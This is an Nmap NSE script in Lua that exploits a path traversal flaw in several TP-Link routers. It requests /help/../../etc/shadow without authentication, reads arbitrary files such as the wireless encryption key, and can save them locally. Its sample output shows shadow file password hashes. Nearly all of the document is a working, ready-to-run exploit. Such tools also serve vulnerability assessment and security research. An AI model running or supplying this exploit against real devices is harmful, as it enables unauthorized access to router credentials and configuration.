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http-tplink-dir-traversal.nse
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http-tplink-dir-traversal.nse
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description = [[
Exploits a directory traversal vulnerability existing in several TP-Link wireless routers. Attackers may exploit this vulnerability to read any of the configuration and password files remotely and without authentication.
This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciate
any help confirming the vulnerability in other models.
Advisory:
* http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
Other interesting files:
* /tmp/topology.cnf (Wireless configuration)
* /tmp/ath0.ap_bss (Wireless encryption key)
]]
---
-- @usage nmap -p80 --script http-tplink-dir-traversal.nse <target>
-- @usage nmap -p80 -Pn -n --script http-tplink-dir-traversal.nse <target>
-- @usage nmap -p80 --script http-tplink-dir-traversal.nse --script-args rfile=/etc/topology.conf -d -n -Pn <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-tplink-dir-traversal:
-- | VULNERABLE:
-- | Path traversal vulnerability in several TP-Link wireless routers
-- | State: VULNERABLE (Exploitable)
-- | Description:
-- | Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
-- | This vulnerability can be exploited remotely and without authenticatication.
-- | Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
-- | Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
-- | Disclosure date: 2012-06-18
-- | Extra information:
-- | /etc/shadow :
-- |
-- | root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- | bin::10933:0:99999:7:::
-- | daemon::10933:0:99999:7:::
-- | adm::10933:0:99999:7:::
-- | lp:*:10933:0:99999:7:::
-- | sync:*:10933:0:99999:7:::
-- | shutdown:*:10933:0:99999:7:::
-- | halt:*:10933:0:99999:7:::
-- | uucp:*:10933:0:99999:7:::
-- | operator:*:10933:0:99999:7:::
-- | nobody::10933:0:99999:7:::
-- | ap71::10933:0:99999:7:::
-- |
-- | References:
-- |_ http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
--
-- @args http-tplink-dir-traversal.rfile Remote file to download. Default: /etc/passwd
-- @args http-tplink-dir-traversal.outfile If set it saves the remote file to this location.
--
-- Other arguments you might want to use with this script:
-- * http.useragent - Sets user agent
--
author = "Paulino Calderon <calderon()websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "exploit"}
local http = require "http"
local io = require "io"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
portrule = shortport.http
local TRAVERSAL_QRY = "/help/../.."
local DEFAULT_REMOTE_FILE = "/etc/shadow"
---
--Writes string to file
--Taken from: hostmap.nse
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
-- Checks if device is vulnerable by requesting the shadow file and looking for the pattern 'root:'
---
local function check_vuln(host, port)
local evil_uri = TRAVERSAL_QRY..DEFAULT_REMOTE_FILE
stdnse.print_debug(1, "%s:HTTP GET %s", SCRIPT_NAME, evil_uri)
local response = http.get(host, port, evil_uri)
if response.body and response.status==200 and response.body:match("root:") then
stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME, response.body)
return true
end
return false
end
---
-- MAIN - The script checks for vulnerable devices by attempting to read "etc/shadow" and finding the pattern "root:".
---
action = function(host, port)
local response, rfile, rfile_content, filewrite
local output_lines = {}
filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
rfile = stdnse.get_script_args(SCRIPT_NAME..".rfile") or DEFAULT_REMOTE_FILE
local vuln = {
title = 'Path traversal vulnerability in several TP-Link wireless routers',
state = vulns.STATE.NOT_VULN,
description = [[
Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
This vulnerability can be exploited without authenticatication.
Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.]],
references = {
'http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740'
},
dates = {
disclosure = {year = '2012', month = '06', day = '18'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local is_vulnerable = check_vuln(host, port)
if is_vulnerable then
vuln.state = vulns.STATE.EXPLOIT
response = http.get(host, port, TRAVERSAL_QRY..rfile)
if response.body and response.status==200 then
stdnse.print_debug(2, "%s", response.body)
if response.body:match("Error") then
stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile)
vuln.extra_info = string.format("%s not found.\n", rfile)
return vuln_report:make_output(vuln)
end
local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')
vuln.extra_info = rfile.." :\n"..rfile_content
if filewrite then
local status, err = write_file(filewrite, rfile_content)
if status then
vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
else
vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
end
end
end
end
return vuln_report:make_output(vuln)
end